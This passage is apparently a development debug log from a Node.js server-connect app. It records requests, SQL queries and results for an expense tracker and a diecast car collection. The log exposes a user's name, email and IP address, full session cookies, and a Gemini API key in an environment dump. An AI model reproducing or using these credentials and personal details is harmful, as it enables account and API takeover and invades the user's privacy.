    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6b-2nj3CoTIairv3RmAJ9dRRAFKABM"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6b-2nj3CoTIairv3RmAJ9dRRAFKABM"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T04:32:11.132Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T04:32:11.133Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T04:32:11.133Z server-connect:app Executing action step identify
2025-12-16T04:32:11.133Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:11.133Z server-connect:output identity: 1
2025-12-16T04:32:11.133Z server-connect:app Executing action step restrict
2025-12-16T04:32:11.133Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:11.133Z server-connect:app Executing action step identify
2025-12-16T04:32:11.133Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:11.134Z server-connect:output identity: 1
2025-12-16T04:32:11.134Z server-connect:app Executing action step restrict
2025-12-16T04:32:11.134Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:11.134Z server-connect:output restrict: undefined
2025-12-16T04:32:11.134Z server-connect:app Executing action step select
2025-12-16T04:32:11.134Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T04:32:11.134Z server-connect:output restrict: undefined
2025-12-16T04:32:11.134Z server-connect:app Executing action step single
2025-12-16T04:32:11.134Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T04:32:11.139Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T04:32:11.140Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T04:32:14.153Z server-connect:router Serving templateView /diecast
2025-12-16T04:32:14.154Z server-connect:app Executing action step identify
2025-12-16T04:32:14.154Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:14.154Z server-connect:output identity: 1
2025-12-16T04:32:14.154Z server-connect:app Executing action step restrict
2025-12-16T04:32:14.154Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T04:32:14.154Z server-connect:output restrict: undefined
2025-12-16T04:32:14.154Z server-connect:router Render template diecast
2025-12-16T04:32:14.154Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T04:32:14.367Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-16T04:32:14.367Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-16T04:32:14.369Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-16T04:32:14.370Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-16T04:32:14.370Z server-connect:app Executing action step identify
2025-12-16T04:32:14.370Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:14.370Z server-connect:output identity: 1
2025-12-16T04:32:14.370Z server-connect:app Executing action step restrict
2025-12-16T04:32:14.370Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:14.370Z server-connect:router Serving serverConnect /api/diecast/get-filters
2025-12-16T04:32:14.370Z server-connect:app Executing action step identify
2025-12-16T04:32:14.370Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:14.371Z server-connect:output identity: 1
2025-12-16T04:32:14.371Z server-connect:app Executing action step restrict
2025-12-16T04:32:14.371Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:14.371Z server-connect:output restrict: undefined
2025-12-16T04:32:14.371Z server-connect:app Executing action step select
2025-12-16T04:32:14.371Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-16T04:32:14.371Z server-connect:output restrict: undefined
2025-12-16T04:32:14.371Z server-connect:app Executing action step select
2025-12-16T04:32:14.371Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-16T04:32:14.372Z server-connect:app Executing action step identify
2025-12-16T04:32:14.372Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:14.372Z server-connect:output identity: 1
2025-12-16T04:32:14.372Z server-connect:app Executing action step restrict
2025-12-16T04:32:14.372Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:14.373Z server-connect:app Executing action step identify
2025-12-16T04:32:14.373Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:14.373Z server-connect:output identity: 1
2025-12-16T04:32:14.373Z server-connect:app Executing action step restrict
2025-12-16T04:32:14.373Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:14.374Z server-connect:app Executing action step identify
2025-12-16T04:32:14.374Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:14.374Z server-connect:output identity: 1
2025-12-16T04:32:14.374Z server-connect:app Executing action step restrict
2025-12-16T04:32:14.374Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:14.375Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2025-12-16T04:32:14.376Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2025-12-16T04:32:14.377Z server-connect:output restrict: undefined
2025-12-16T04:32:14.377Z server-connect:app Executing action step paged
2025-12-16T04:32:14.377Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-16T04:32:14.378Z server-connect:output restrict: undefined
2025-12-16T04:32:14.378Z server-connect:app Executing action step select
2025-12-16T04:32:14.378Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-16T04:32:14.379Z server-connect:output restrict: undefined
2025-12-16T04:32:14.380Z server-connect:app Executing action step select
2025-12-16T04:32:14.380Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-16T04:32:14.381Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
